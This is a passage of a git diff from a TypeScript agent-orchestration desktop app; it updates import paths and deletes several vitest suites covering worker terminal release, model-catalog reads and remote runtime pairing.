expect(h.host.readStatusSummary(h.identity.sessionId)).toEqual(published) - await lane.release() - expect(await closing).toMatchObject({ state: 'retained', processAction: 'none' }) - h.retained() - expect(state.db.getWorkerTerminalResource(h.resource.id)).toMatchObject({ - ownership_state: 'owned', - release_state: 'not_requested', - auto_release_at: null - }) - } finally { - release.resolve() - await lane.release() - } - }) - - it('retains ingress admitted during the held work reply and orders queued writes after the decision', async () => { - const h = await automaticCloseFixture() - const held = holdAdmissionReply(h.journal) - const closing = h.close() - const order: string[] = [] - const gate = state.db.admitWorkerChatReleaseClose.bind(state.db) - vi.spyOn(state.db, 'admitWorkerChatReleaseClose').mockImplementation((...args) => { - const admitted = gate(...args) - order.push('close decision') - return admitted - }) - await held.entered - const events = hostTestState().acquire.mock.calls.at(-1)?.[0].events - if (!events) { - throw new Error('Worker provider has no event sink') - } - events.appendItem( - { provider: 'orca', clientMessageId: 'running-during-read' }, - { kind: 'turn', turnId: 'running-during-read', state: 'running' }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const queued = h.append('queued-behind-read').then(() => order.push('write committed')) - held.release() - expect(await closing).toMatchObject({ state: 'retained', processAction: 'none' }) - await queued - await h.host.flushStreamedEvents(h.identity.sessionId) - expect(order).toEqual(['close decision', 'write committed']) - h.retained() - expect((await readTestHostJournal(h.host, h.identity.sessionId)).items).toContainEqual( - expect.objectContaining({ - body: { kind: 'turn', turnId: 'running-during-read', state: 'running' } - }) - ) - }) - - it('lets Keep open during the work reply preserve a real unsent card and every close resource', async () => { - const h = await automaticCloseFixture() - const card = await h.journal.queuedMessages.insert({ - messageId: hostTestOperationId(), - body: { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: 'Keep this unsent message' }] - }, - holdReason: 'send_failed' - }) - const held = holdAdmissionReply(h.journal) - const closing = h.close() - await held.entered - expect(state.db.keepWorkerTerminalOpen(h.identity.paneKey)).toBe(1) - held.release() - expect(await closing).toMatchObject({ state: 'retained', processAction: 'none' }) - h.retained() - expect(await h.journal.queuedMessages.get(card.messageId)).toEqual(card) - expect(state.db.getWorkerTerminalResource(h.resource.id)).toMatchObject({ - ownership_state: 'owned', - release_state: 'retained', - retained_reason: 'user_kept' - }) - }) - - it('honors explicit release that joins while the automatic work read is held', async () => { - const h = await automaticCloseFixture() - const held = holdAdmissionReply(h.journal) - const closing = h.close() - await held.entered - const events = hostTestState().acquire.mock.calls.at(-1)?.[0].events - if (!events) { - throw new Error('Worker provider has no event sink') - } - events.appendItem( - { provider: 'orca', clientMessageId: 'explicit-release-turn' }, - { kind: 'turn', turnId: 'explicit-release-turn', state: 'running' }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - state.db.requestWorkerTerminalRelease(dispatchId) - held.release() - expect(await closing).toMatchObject({ - state: 'released', - processAction: 'closed_agent_terminal' - }) - expect(h.store.requireWritableRecord(h.identity.sessionId).lease.claimStatus).toBe('released') - expect(h.host.isSessionTabVisible(h.identity.sessionId)).toBe(false) - }) - - it('retries an idle read failure through the existing countdown and then closes normally', async () => { - const h = await automaticCloseFixture() - const held = holdAdmissionReply(h.journal) - const closing = h.close() - await held.entered - held.fail() - expect(await closing).toMatchObject({ state: 'retained', processAction: 'none' }) - h.retained() - expect(state.db.getWorkerTerminalResource(h.resource.id)).toMatchObject({ - release_state: 'not_requested', - auto_release_at: expect.any(String) - }) - vi.setSystemTime(Date.now() + 120_001) - await getWorkerTerminalAutoReleaseScheduler(state.runtime).releaseDue() - expect(state.db.getWorkerTerminalResource(h.resource.id)?.release_state).toBe('released') - expect(h.store.requireWritableRecord(h.identity.sessionId).lease.claimStatus).toBe('released') - expect(h.host.isSessionTabVisible(h.identity.sessionId)).toBe(false) - }) - - it('lets Keep open cancel the countdown rearmed after an idle read failure', async () => { - const h = await automaticCloseFixture() - const held = holdAdmissionReply(h.journal) - const closing = h.close() - await held.entered - held.fail() - expect(await closing).toMatchObject({ state: 'retained', processAction: 'none' }) - expect(state.db.keepWorkerTerminalOpen(h.identity.paneKey)).toBe(1) - vi.setSystemTime(Date.now() + 120_001) - await getWorkerTerminalAutoReleaseScheduler(state.runtime).releaseDue() - h.retained() - expect(state.db.getWorkerTerminalResource(h.resource.id)).toMatchObject({ - ownership_state: 'owned', - release_state: 'retained', - retained_reason: 'user_kept', - auto_release_at: null - }) - }) -}) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts index ec4784f16b1..0a47dd74dc0 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts @@ -3,7 +3,7 @@ import type { RpcContext } from '../../../../core' import { createOrchestrationRpcHarness } from '../../rpc-test-harness' import type { OrchestrationDb } from '../../../../../orchestration/db/orchestration-db' import type { OrcaRuntimeService } from '../../../../../orca-runtime' -import '../../../../../../../shared/constants' +import '../../../../../../../shared/orca-profiles/constants' import '../../../../../orchestration/workers/launch/worker-dispatch-preamble' describe('orchestration RPC methods', () => { @@ -146,35 +146,6 @@ describe('orchestration RPC methods', () => { expect(await start()).toMatchObject({ run: { ...run, created: false } }) }) - it('puts overlapping first starts from an unbound coordinator in one Run', async () => { - setup(false) - mockCurrentWorkerStart() - // Hold both starts in preflight, then let the second finish first. - const preflights: (() => void)[] = [] - vi.spyOn(runtime, 'showManagedTerminalWorkspace').mockImplementation( - () => - new Promise((resolve) => - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: preflight reads only the workspace id. - preflights.push(() => resolve({ id: 'repo::worktree' } as never)) - ) - ) - const start = (spec: string) => - call('orchestration.workerStart', { spec, from: 'term_coord', agent: 'codex' }) - - const first = start('Audit the parser') - const second = start('Audit the lexer') - await vi.waitFor(() => expect(preflights).toHaveLength(2)) - preflights[1]() - const secondReceipt = await second - preflights[0]() - const firstReceipt = await first - - const runs = db.listRuns().runs.filter((run) => run.legacy === 0) - expect(runs).toHaveLength(1) - expect(secondReceipt).toMatchObject({ run: { id: runs[0].id, created: true } }) - expect(firstReceipt).toMatchObject({ run: { id: runs[0].id, created: false } }) - }) - it('creates no Run when an unbound coordinator start fails preflight', async () => { setup(false) mockCurrentWorkerStart() diff --git a/src/main/runtime/rpc/methods/pairing/paired-caller-host-id.ts b/src/main/runtime/rpc/methods/pairing/paired-caller-host-id.ts index a868253f4d3..5aaec83a7ee 100644 --- a/src/main/runtime/rpc/methods/pairing/paired-caller-host-id.ts +++ b/src/main/runtime/rpc/methods/pairing/paired-caller-host-id.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import { splitWorktreeId } from '../../../../../shared/worktree/id' diff --git a/src/main/runtime/rpc/methods/preflight/preflight-workspace-target.ts b/src/main/runtime/rpc/methods/preflight/preflight-workspace-target.ts index 8ece3889780..aa5e91614b3 100644 --- a/src/main/runtime/rpc/methods/preflight/preflight-workspace-target.ts +++ b/src/main/runtime/rpc/methods/preflight/preflight-workspace-target.ts @@ -1,6 +1,6 @@ import type { OrcaRuntimeService } from '../../../orca-runtime' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { resolveQualifiedFolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { resolveWorkspaceAgentDetectionHost } from '../../../../preflight/workspace-agent-detection' import { resolveWorktreeHostRouting } from '../../../workspaces/catalog/worktree-launch-host-repo' diff --git a/src/main/runtime/rpc/methods/projects/repo.ts b/src/main/runtime/rpc/methods/projects/repo.ts index 15b163e39f0..37449e7e8d0 100644 --- a/src/main/runtime/rpc/methods/projects/repo.ts +++ b/src/main/runtime/rpc/methods/projects/repo.ts @@ -1,5 +1,5 @@ import { defineMethod } from '../../core' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isRepoHidden } from '../../../../../shared/project/catalog/hidden-projects' import { resolveReplySnapshot } from '../../workspace-client-views/content-snapshot-id' import { PROJECT_GROUP_METHODS } from './project-group-rpc-methods' diff --git a/src/main/runtime/rpc/methods/skills/skills.ts b/src/main/runtime/rpc/methods/skills/skills.ts index 496656ed146..4e80f4c1c69 100644 --- a/src/main/runtime/rpc/methods/skills/skills.ts +++ b/src/main/runtime/rpc/methods/skills/skills.ts @@ -33,7 +33,7 @@ import { } from '../../../../skills/discovery/skill-discovery-target' import { SKILL_INSTALL_RESULT_V2_CAPABILITY } from '../../../../../shared/skills/capabilities/skill-install-capability' import type { OrcaRuntimeService } from '../../../orca-runtime' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { AGENT_SKILL_SHARING_UNSUPPORTED_ENVIRONMENT_CODE, AgentSkillShareRequestSchema, diff --git a/src/main/runtime/rpc/methods/source-control/git/git-commit-message-generation-methods.ts b/src/main/runtime/rpc/methods/source-control/git/git-commit-message-generation-methods.ts index 06c133ab602..ddd047d8d2d 100644 --- a/src/main/runtime/rpc/methods/source-control/git/git-commit-message-generation-methods.ts +++ b/src/main/runtime/rpc/methods/source-control/git/git-commit-message-generation-methods.ts @@ -1,5 +1,5 @@ import { defineMethod } from '../../../core' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { ResolvedSourceControlAiGenerationParams } from '../../../../../../shared/source-control/ai/source-control-ai-operation-resolution' import { GitDiscoverCommitMessageModels, diff --git a/src/main/runtime/rpc/methods/structured-sessions/attachments/structured-agent-session-visual.ts b/src/main/runtime/rpc/methods/structured-sessions/attachments/structured-agent-session-visual.ts index 332225cc9a8..da418136e20 100644 --- a/src/main/runtime/rpc/methods/structured-sessions/attachments/structured-agent-session-visual.ts +++ b/src/main/runtime/rpc/methods/structured-sessions/attachments/structured-agent-session-visual.ts @@ -1,7 +1,7 @@ // Resolve readVisual scratch roots from host records; clients supply only session id/bare name. // Older hosts lack the method (mobile may see forbidden); clients show unavailable. -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { ReadVisualParams, type AgentSessionReadVisualResult diff --git a/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-account-usage.ts b/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-account-usage.ts index 911654b34c8..e5ad30686e5 100644 --- a/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-account-usage.ts +++ b/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-account-usage.ts @@ -3,7 +3,7 @@ import { type AgentSessionAccountUsage } from '../../../../../../shared/agent-session/agent-session-account-usage' import type { AgentSessionRecord } from '../../../../../../shared/agent-session/lifecycle/agent-session-record' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { requireLegacyAgentSessionAccountHome } from '../../../../../../shared/agent-session/lifecycle/accounts/agent-session-account-home' import type { RateLimitState } from '../../../../../../shared/agent-usage/rate-limits/rate-limit-types' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' diff --git a/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-options-read.test.ts b/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-options-read.test.ts deleted file mode 100644 index 82ef0b9da6e..00000000000 --- a/src/main/runtime/rpc/methods/structured-sessions/catalog/structured-agent-session-options-read.test.ts +++ /dev/null @@ -1,229 +0,0 @@ -import { resolveHiddenProbeCwd } from '../../../../../lib/hidden-probe-cwd' -import { agentSessionConversationView } from '../../../../../../shared/agent-session/lifecycle/leases/agent-session-conversation-view' - -// The catalog read behind the picker: which directory a named worktree runs in on this host. - -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { setStructuredAgentSessionHost } from '../../../../../native-chat/agent-session-wire/host/structured-agent-session-registry' -import { DESKTOP_RENDERER_RUNTIME_CLIENT_CAPABILITIES } from '../../../../../ipc/desktop-renderer-runtime-capabilities' -import { createAgentModelCatalogService } from '../../../../../native-chat/agent-model-catalog/agent-model-catalog-service' -import { AgentModelCatalogStore } from '../../../../../native-chat/agent-model-catalog/agent-model-catalog-store' -import type { AgentModelCatalogSuccess } from '../../../../../native-chat/agent-model-catalog/agent-model-catalog-entry' -import '../../../../../codex/structured/catalog/codex-model-catalog-probe' - -import type { AgentSessionRecord } from '../../../../../../shared/agent-session/lifecycle/agent-session-record' - -import { agentSessionRecordFixture } from '../../../../../../shared/agent-session/lifecycle/records/agent-session-record.test-fixture' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' -import '../../../../../native-chat/agent-model-catalog/agent-model-catalog-listing-waiters' -import { - agentModelCatalogFingerprintForRecord, - agentModelCatalogScopeFingerprint -} from '../../../../../native-chat/agent-model-catalog/agent-model-catalog-fingerprint' -import { - call, - clearStructuredHostStub, - hostStub -} from '../protocol/structured-agent-session-rpc.test-fixture' - -import '../protocol/structured-agent-session-rpc-client.test-fixture' - -const STRUCTURED_CLIENT = { - clientKind: 'runtime' as const, - clientCapabilities: DESKTOP_RENDERER_RUNTIME_CLIENT_CAPABILITIES -} - -afterEach(() => { - clearStructuredHostStub() -}) - -// These are RPC forwarding fixtures; receiving authority is exercised through the real host separately. -function catalogHost() { - const host = hostStub() - host.readModelCatalog = async (params) => { - const catalog = host.deps.modelCatalog - if (!params.savedOnly) { - void catalog?.demand(params) - } - return catalog ? catalog.read(params) : { origin: 'unknown' } - } - return host -} - -describe('agentSession.modelCatalog', () => { - const read = vi.fn(async () => ({ origin: 'unknown' as const })) - const demand = vi.fn(async () => {}) - let readCurrent = true - const captureRead = vi.fn(() => ({ current: () => readCurrent })) - let record: AgentSessionRecord | null = null - - beforeEach(() => { - read.mockClear() - demand.mockClear() - captureRead.mockClear() - readCurrent = true - record = null - setStructuredAgentSessionHost( - Object.assign(catalogHost(), { - deps: { - modelCatalog: { read, demand, captureRead }, - store: { - getRecord: () => record, - getConversation: () => (record ? agentSessionConversationView(record) : null), - requireWritableRecord: () => record - }, - adapter: {} - } - }) - ) - }) - - it.each([false, true])( - 'negotiates early progress through the existing client capability (enabled=%s)', - async (enabled) => { - record = { ...agentSessionRecordFixture(), provider: 'codex' } - const result = await call( - 'agentSession.modelCatalog', - { agent: 'codex', sessionId: record.sessionId, waitForListing: true }, - { - ...STRUCTURED_CLIENT, - clientCapabilities: DESKTOP_RENDERER_RUNTIME_CLIENT_CAPABILITIES.filter( - (capability) => enabled || capability !== 'agent-session.model-catalog.progress.v1' - ) - } - ) - expect(result.ok, JSON.stringify(result)).toBe(true) - expect(read).toHaveBeenLastCalledWith(expect.objectContaining({ progress: enabled })) - } - ) - - it("keeps a moved floating workspace's list apart from the old folder's late answer", async () => { - const late = Promise.withResolvers() - const listed = (id: string): AgentModelCatalogSuccess => ({ - origin: 'probe', - complete: true, - models: [{ id, label: id, isDefault: false, efforts: [] }] - }) - const probe = vi.fn(async (_home: unknown, options?: { workspacePath?: string }) => - options?.workspacePath === '/a' ? late.promise : listed('b-model') - ) - const catalog = createAgentModelCatalogService({ - store: new AgentModelCatalogStore(), - getConversation: () => undefined, - getRecord: () => undefined, - drivesRecord: () => true, - resolveAccountHome: async () => ({ variable: 'HOME', path: '/account' }), - listsInChatFolder: new Set(['opencode']), - probes: { opencode: probe } - }) - let folder = '/a' - const runtime = { - structuredAgentModelCatalog: async () => catalog, - resolveStructuredAgentCatalogWorkspacePath: async () => folder - } - const open = (waitForListing?: true) => - call( - 'agentSession.modelCatalog', - { agent: 'opencode', worktree: `id:${FLOATING_TERMINAL_WORKTREE_ID}`, waitForListing }, - STRUCTURED_CLIENT, - runtime - ) - try { - await open() - await vi.waitFor(() => expect(probe).toHaveBeenCalledOnce()) - folder = '/b' - expect(await open(true)).toMatchObject({ ok: true, result: { models: [{ id: 'b-model' }] } }) - late.resolve(listed('a-model')) - await vi.waitFor(async () => - expect(await catalog.read({ agent: 'opencode', workspacePath: '/a' })).toMatchObject({ - models: [{ id: 'a-model' }] - }) - ) - expect(await open(true)).toMatchObject({ ok: true, result: { models: [{ id: 'b-model' }] } }) - } finally { - late.resolve(listed('a-model')) - catalog.stop() - } - }) - - it('answers cold saved-only without resolution and reuses prepared memory for another equivalent chat', async () => { - const pinned = { ...agentSessionRecordFixture(), provider: 'claude' } - const key = agentModelCatalogScopeFingerprint( - agentModelCatalogFingerprintForRecord(pinned), - resolveHiddenProbeCwd(), - 'saved-launch' - ) - const seed = new AgentModelCatalogStore() - const saved = seed.recordSuccess( - key, - 'claude', - { - origin: 'probe', - complete: true, - models: [{ id: 'saved', label: 'Saved', isDefault: false, efforts: [] }] - }, - 'discovery' - )! - const store = new AgentModelCatalogStore() - await store.attachPersistence({ - load: async () => [saved], - save: () => {}, - flush: async () => {} - }) - const folder = vi.fn(async () => '/project') - const run = vi.fn(() => new Promise(() => {})) - const resolve = vi.fn(async () => ({ identity: 'saved-launch', run })) - const catalog = createAgentModelCatalogService({ - store, - getConversation: (id) => { - const held = { ...pinned, sessionId: id } - return held ? agentSessionConversationView(held) : undefined - }, - getRecord: (id) => ({ ...pinned, sessionId: id }), - drivesRecord: () => true, - resolveAccountHome: vi.fn(() => new Promise(() => {})), - recordWorkspacePath: folder, - probes: { claude: Object.assign(run, { resolve }) } - }) - setStructuredAgentSessionHost( - Object.assign(catalogHost(), { - sessionAgent: () => 'claude', - deps: { - modelCatalog: catalog, - store: { - getConversation: (id: string) => { - const held = { ...pinned, sessionId: id } - return held ? agentSessionConversationView(held) : undefined - }, - getRecord: (id: string) => ({ ...pinned, sessionId: id }) - }, - adapter: {} - } - }) - ) - try { - const cold = await call( - 'agentSession.modelCatalog', - { agent: 'claude', sessionId: 'session-cold-a', savedOnly: true }, - STRUCTURED_CLIENT - ) - expect(cold.ok, JSON.stringify(cold)).toBe(true) - expect(cold).toMatchObject({ result: { origin: 'unknown' } }) - expect(folder).not.toHaveBeenCalled() - expect(resolve).not.toHaveBeenCalled() - await catalog.prepareSaved({ agent: 'claude', sessionId: 'session-cold-a' }) - const calls = resolve.mock.calls.length - expect( - await call( - 'agentSession.modelCatalog', - { agent: 'claude', sessionId: 'session-cold-b', savedOnly: true }, - STRUCTURED_CLIENT - ) - ).toMatchObject({ ok: true, result: { models: [{ id: 'saved' }] } }) - expect(resolve).toHaveBeenCalledTimes(calls) - expect(run).not.toHaveBeenCalled() - } finally { - catalog.stop() - } - }) -}) diff --git a/src/main/runtime/rpc/methods/structured-sessions/structured-agent-session.ts b/src/main/runtime/rpc/methods/structured-sessions/structured-agent-session.ts index fa94e5c6321..d24397af61a 100644 --- a/src/main/runtime/rpc/methods/structured-sessions/structured-agent-session.ts +++ b/src/main/runtime/rpc/methods/structured-sessions/structured-agent-session.ts @@ -58,7 +58,7 @@ import '../../../../../shared/rpc-contract/structured-agent-session/structured-a import { sendStructuredAgentSessionForClient } from './conversation/structured-agent-session-send-compatibility' import { runConversationCommandForClient } from './conversation/structured-agent-session-conversation-command' import { getStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/host/structured-agent-session-registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/workspace-layout/layout-owner-switch' import { refusingStructuredAgentSessionCreatesClosedFirst } from './creation/structured-agent-session-close-before-create' import * as queuedImages from './attachments/structured-agent-session-queued-image-capability' diff --git a/src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts b/src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts deleted file mode 100644 index 18aa2e08ca2..00000000000 --- a/src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts +++ /dev/null @@ -1,549 +0,0 @@ -import { pairedRuntimeConnectionFromOffer } from '../../../../shared/remote-runtime/pairing/paired-runtime-connection' - -import { mkdtempSync, rmSync } from 'node:fs' - -import { tmpdir } from 'node:os' - -import { join } from 'node:path' - -import { describe, expect, it } from 'vitest' - -import { getDefaultRepoHookSettings } from '../../../../shared/constants' - -import type { Repo } from '../../../../shared/repository/repo-types' - -import { parsePairingCode } from '../../../../shared/remote-runtime/pairing/pairing' - -import { RemoteRuntimeRequestConnection } from '../../../../shared/remote-runtime/requests/remote-runtime-request-connection' - -import { RemoteRuntimeSharedControlConnection } from '../../../../shared/remote-runtime/control/remote-runtime-shared-control-connection' - -import '../../../../shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../../shared/remote-runtime/requests/remote-runtime-subscription-transport' - -import type { - RuntimeClientEvent, - RuntimeClientEventStreamMessage -} from '../../../../shared/remote-runtime/session-graph/runtime-client-events' - -import type { OrcaRuntimeService } from '../../orca-runtime' - -import { OrcaRuntimeRpcServer } from './runtime-rpc' - -import { REMOTE_RUNTIME_SHARED_CONTROL_CAPABILITY } from '../../../../shared/remote-runtime/protocol/host-runtime-capabilities' - -const REMOTE_RUNTIME_TEST_TIMEOUT_MS = 15_000 -const REMOTE_RUNTIME_REQUEST_TIMEOUT_MS = 5_000 - -// Bypass create idempotency here to test request connection behavior alone. -const passthroughDedupe = (_repo: string, _id: string | undefined, run: () => Promise) => - run() - -describe('remote runtime request connection integration', () => { - it( - 'delivers one host-authoritative sleep and ordered disposition to two remote clients', - { timeout: REMOTE_RUNTIME_TEST_TIMEOUT_MS }, - async () => { - const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-remote-sleep-')) - const clientEventListeners = new Set<(event: RuntimeClientEvent) => void>() - const subscriptionCleanups = new Map void>() - const worktreeId = 'repo-1::C:\\repo\\feature' - const ptyId = `${worktreeId}@@pty-1` - let sleepSnapshot: RuntimeClientEvent[] = [] - const launchDraftResolutionSnapshot: RuntimeClientEvent[] = [ - { - type: 'nativeChatLaunchDraftResolved', - tabId: 'tab-1', - text: 'seed', - createdAt: 7 - } - ] - const emit = (event: RuntimeClientEvent): void => { - for (const listener of clientEventListeners) { - listener(event) - } - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this sleep socket fixture implements every runtime method reached by its subscriptions and list requests. - const runtime = { - configureNotificationDismissalStore: () => {}, - getRuntimeId: () => 'remote-sleep-runtime-test', - getStartedAt: () => 1, - cleanupSubscriptionsForConnection: (connectionId: string) => { - for (const [id, cleanup] of subscriptionCleanups) { - if (id.includes(connectionId)) { - cleanup() - subscriptionCleanups.delete(id) - } - } - }, - registerSubscriptionCleanup: (id: string, cleanup: () => void) => { - subscriptionCleanups.set(id, cleanup) - }, - cleanupSubscription: (id: string) => { - subscriptionCleanups.get(id)?.() - subscriptionCleanups.delete(id) - }, - onClientDisconnected: () => {}, - getClientSettings: () => ({ nativeChatQueueFollowUps: false }), - onClientEvent: (listener: (event: RuntimeClientEvent) => void) => { - clientEventListeners.add(listener) - return () => clientEventListeners.delete(listener) - }, - getTerminalSleepClientEventSnapshot: () => sleepSnapshot, - getNativeChatLaunchDraftResolutionClientEventSnapshot: () => launchDraftResolutionSnapshot, - sleepTerminalsForWorktree: async () => { - emit({ - type: 'worktreeTerminalSleepState', - worktreeId, - generation: 1, - phase: 'started', - ptyIds: [ptyId], - terminalHandles: ['terminal-handle-1'] - }) - emit({ - type: 'worktreeTerminalSleepState', - worktreeId, - generation: 1, - phase: 'committed', - ptyIds: [ptyId], - terminalHandles: ['terminal-handle-1'] - }) - sleepSnapshot = [ - { - type: 'worktreeTerminalSleepState', - worktreeId, - generation: 1, - phase: 'committed', - ptyIds: [ptyId], - terminalHandles: ['terminal-handle-1'] - } - ] - return { - stopped: 1, - stoppedPtyIds: [ptyId], - livePtyIds: [ptyId], - postStopVerified: true - } - } - } as unknown as OrcaRuntimeService - const server = new OrcaRuntimeRpcServer({ - runtime, - userDataPath, - enableWebSocket: true, - wsPort: 0 - }) - - await server.start() - try { - const offer = server.createPairingOffer({ name: 'remote-sleep', scope: 'runtime' }) - if (!offer.available) { - throw new Error('pairing unavailable') - } - const pairing = parsePairingCode(offer.pairingUrl) - if (!pairing) { - throw new Error('invalid pairing') - } - const clientEvents: RuntimeClientEventStreamMessage[][] = [[], []] - const subscriptions = await Promise.all( - clientEvents.map((events) => - subscribeRemoteRuntimeTransport( - pairedRuntimeConnectionFromOffer(pairing), - 'runtime.clientEvents.subscribe', - undefined, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, - { - onResponse: (response) => { - if (response.ok) { - events.push(response.result) - } - }, - onError: (error) => { - throw error - } - } - ) - ) - ) - const requester = new RemoteRuntimeRequestConnection( - pairedRuntimeConnectionFromOffer(pairing) - ) - try { - await waitFor(() => - clientEvents.every((events) => events.some((e) => e.type === 'ready')) - ) - for (const events of clientEvents) { - expect(events).toContainEqual(launchDraftResolutionSnapshot[0]) - } - await expect( - requester.request( - 'terminal.sleep', - { worktree: `id:${worktreeId}` }, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS - ) - ).resolves.toMatchObject({ - ok: true, - result: { stopped: 1, postStopVerified: true } - }) - await waitFor(() => - clientEvents.every( - (events) => - events.filter((event) => event.type === 'worktreeTerminalSleepState').length === 2 - ) - ) - for (const events of clientEvents) { - expect( - events - .filter((event) => event.type === 'worktreeTerminalSleepState') - .map((event) => event.phase) - ).toEqual(['started', 'committed']) - } - const reconnectedEvents: RuntimeClientEventStreamMessage[] = [] - const reconnected = - await subscribeRemoteRuntimeTransport( - pairedRuntimeConnectionFromOffer(pairing), - 'runtime.clientEvents.subscribe', - undefined, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, - { - onResponse: (response) => { - if (response.ok) { - reconnectedEvents.push(response.result) - } - }, - onError: (error) => { - throw error - } - } - ) - try { - await waitFor(() => reconnectedEvents.some((event) => event.type === 'ready')) - expect( - reconnectedEvents - .filter((event) => event.type === 'worktreeTerminalSleepState') - .map((event) => event.phase) - ).toEqual(['committed']) - expect(reconnectedEvents).toContainEqual(launchDraftResolutionSnapshot[0]) - - sleepSnapshot = [] - emit({ - type: 'worktreeTerminalSleepState', - worktreeId, - generation: 1, - phase: 'woken', - ptyIds: [ptyId], - terminalHandles: ['terminal-handle-1'] - }) - await waitFor(() => - reconnectedEvents.some( - (event) => event.type === 'worktreeTerminalSleepState' && event.phase === 'woken' - ) - ) - } finally { - reconnected.close() - } - } finally { - requester.close() - for (const subscription of subscriptions) { - subscription.close() - } - } - } finally { - await server.stop() - rmSync(userDataPath, { recursive: true, force: true }) - } - } - ) - - it( - 'multiplexes shared-control calls and passive subscriptions through the real runtime', - { timeout: REMOTE_RUNTIME_TEST_TIMEOUT_MS }, - async () => { - const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-shared-control-')) - const repoPath = join(userDataPath, 'repo') - const repo: Repo = { - id: 'repo-1', - path: repoPath, - displayName: 'repo', - badgeColor: 'blue', - addedAt: 1, - hookSettings: getDefaultRepoHookSettings(), - worktreeBaseRef: 'main', - kind: 'git' - } - const worktrees: unknown[] = [ - { - id: 'repo-1::main', - repoId: repo.id, - path: repoPath, - branch: 'main', - displayName: 'repo', - isMainWorktree: true - } - ] - const clientEventListeners = new Set<(event: RuntimeClientEvent) => void>() - const accountsListeners = new Set<(snapshot: unknown) => void>() - const notificationListeners = new Set<(event: unknown) => void>() - const sessionTabListeners = new Set<(snapshot: unknown) => void>() - const subscriptionCleanups = new Map void>() - const sessionTabSnapshot = { - worktree: 'wt-1', - publicationEpoch: 'epoch-1', - snapshotVersion: 1, - activeGroupId: null, - activeTabId: null, - activeTabType: null, - tabs: [] - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fake carries only the surface the shared-control and status paths under test read. - const runtime = { - configureNotificationDismissalStore: () => {}, - getRuntimeId: () => 'shared-runtime-test', - getStartedAt: () => 1, - machineNameReady: async () => undefined, - getStatus: () => ({ - runtimeId: 'shared-runtime-test', - startedAt: 1, - version: '1.0.0', - protocolVersion: 1, - minCompatibleDesktopVersion: '1.0.0', - minCompatibleMobileVersion: '1.0.0', - capabilities: [REMOTE_RUNTIME_SHARED_CONTROL_CAPABILITY] - }), - cleanupSubscriptionsForConnection: (connectionId: string) => { - for (const [id, cleanup] of Array.from(subscriptionCleanups)) { - if (id.includes(connectionId)) { - cleanup() - subscriptionCleanups.delete(id) - } - } - }, - registerSubscriptionCleanup: (id: string, cleanup: () => void) => { - subscriptionCleanups.set(id, cleanup) - }, - cleanupSubscription: (id: string) => { - subscriptionCleanups.get(id)?.() - subscriptionCleanups.delete(id) - }, - cleanupSubscriptionsByPrefix: (prefix: string) => { - for (const [id, cleanup] of Array.from(subscriptionCleanups)) { - if (id.startsWith(prefix)) { - cleanup() - subscriptionCleanups.delete(id) - } - } - }, - onClientDisconnected: () => {}, - getClientSettings: () => ({ nativeChatQueueFollowUps: false }), - onClientEvent: (listener: (event: RuntimeClientEvent) => void) => { - clientEventListeners.add(listener) - return () => clientEventListeners.delete(listener) - }, - getAccountsSnapshot: () => ({ claude: null, codex: null }), - getAccountsStreamSnapshot: () => ({ claude: null, codex: null }), - getUsageRateLimits: () => null, - refreshAccountsForMobile: async () => { - for (const listener of accountsListeners) { - listener({ claude: null, codex: null }) - } - }, - 